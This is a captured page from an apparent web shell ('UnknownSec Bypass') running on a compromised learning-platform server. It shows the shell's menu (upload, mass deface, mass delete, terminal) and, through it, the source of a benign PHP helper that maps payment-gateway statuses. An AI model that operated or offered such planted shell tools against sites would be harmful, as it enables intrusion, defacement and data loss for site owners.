UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_5cc9428cfd0c
/
app
/
Helpers
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
GatewayHelper.php
<?php namespace EstudioLMS\Helpers; /** * Class GatewayHelper * @package EstudioLMS\Helpers */ class GatewayHelper { /** * Rotina criada para compatibilizar o retorno dos Gateways * @param $gateway * @param $status * @return int */ public static function translateGatewayStatus($gateway, $status) { $retStatus = 0; switch ($gateway) { case 'PayPal': if ($status == 'None') { $retStatus = 0; } elseif ($status == 'Pending') { $retStatus = 1; } elseif ($status == 'In-Progress') { $retStatus = 2; } elseif ($status == 'Completed') { $retStatus = 3; } elseif ($status == 'Denied' || $status == 'Expired' || $status == 'Failed') { $retStatus = 7; } else { $retStatus = 7; } break; case 'PagSeguro': if ($status == '0') { $retStatus = 0; } elseif ($status == '1') { //Aguardando pagamento: o comprador iniciou a transação, mas até o momento o PagSeguro não recebeu nenhuma informação sobre o pagamento. $retStatus = 1; } elseif ($status == '2') { //Em análise: o comprador optou por pagar com um cartão de crédito e o PagSeguro está analisando o risco da transação. $retStatus = 2; } elseif ($status == '3') { //Paga: a transação foi paga pelo comprador e o PagSeguro já recebeu uma confirmação da instituição financeira responsável pelo processamento. $retStatus = 3; } elseif ($status == '4') { //Disponível: a transação foi paga e chegou ao final de seu prazo de liberação sem ter sido retornada e sem que haja nenhuma disputa aberta. $retStatus = 4; } elseif ($status == '5') { //Em disputa: o comprador, dentro do prazo de liberação da transação, abriu uma disputa. $retStatus = 7; } elseif ($status == '6') { //Devolvida: o valor da transação foi devolvido para o comprador. $retStatus = 7; } elseif ($status == '7') { //Cancelada: a transação foi cancelada sem ter sido finalizada. $retStatus = 7; } else { $retStatus = 7; } break; case 'boleto': if ($status == '0') { $retStatus = 0; // Sem status } elseif ($status == '1') { // Pendente $retStatus = 1; } elseif ($status == '2') { // Em análise $retStatus = 2; } elseif ($status == '3') { // Completo; Liberado $retStatus = 3; } elseif ($status == '7') { // Neagado, Expirado ou Falhou $retStatus = 7; } else { $retStatus = 7; } break; case 'PagarMe' : if ($status == 'None' || $status == '') $retStatus = 0; elseif ($status == 'waiting_payment') // Transação aguardando pagamento (status válido para boleto bancário). $retStatus = 1; elseif ($status == 'processing' || $status == 'analyzing' || $status == 'pending_review') //Transação está processo de autorização. //Transação encaminhada para a análise manual feita por um especialista em prevenção a fraude. //Transação pendente de revisão manual por parte do lojista. Uma transação ficará com esse status por até 48 horas corridas. $retStatus = 2; elseif ($status == 'authorized' || $status == 'paid') //Transação foi autorizada. Cliente possui saldo na conta e este valor foi reservado para futura captura, que deve acontecer em até 5 dias para transações criadas com api_key. Caso não seja capturada, a autorização é cancelada automaticamente pelo banco emissor, e o status da transação permanece //Transação paga. Foi autorizada e capturada com sucesso, e para boleto, significa que nossa API já identificou o pagamento de seu cliente. $retStatus = 3; elseif ($status == 'pending_refund') $retStatus = 5; elseif ($status == 'refunded') $retStatus = 6; elseif ($status == 'refused' || $status == 'chargedback') //Transação recusada, não autorizada. //Transação estornada completamente. //Transação do tipo boleto e que está aguardando para confirmação do estorno solicitado. //Transação sofreu chargeback. $retStatus = 7; break; } return $retStatus; } /** * @param $status * @return int|string */ public static function translateStatusString($status) { $retStatus = 0; switch ($status) { case 0: $retStatus = 'Indefinido'; break; case 1: $retStatus = 'Aguardando pagamento'; break; case 2: $retStatus = 'Em análise'; break; case 3: $retStatus = 'Pago'; break; case 4: $retStatus = 'Disponível'; break; case 5: $retStatus = 'Em disputa'; break; case 6: $retStatus = 'Devolvida'; break; case 7: $retStatus = 'Cancelado'; break; case 10: $retStatus = 'Expirado'; break; } return $retStatus; } /** * @param $grossAmount * @param $feeAmount * @return float */ public static function calculateFeeTax($grossAmount, $feeAmount) { return $tax = (($feeAmount * 100) / $grossAmount); } /** * @param $statusId * @return string */ public static function newSubscripotionStatus($statusId) { switch ($statusId) { case 1: return 'subscription.pending_payment'; case 2: return 'subscription.paid'; case 3: return 'subscription.paid'; case 4: return 'subscription.unpaid'; case 5: return 'subscription.canceled'; default: return ''; } } }
Copyright © 2026 - UnknownSec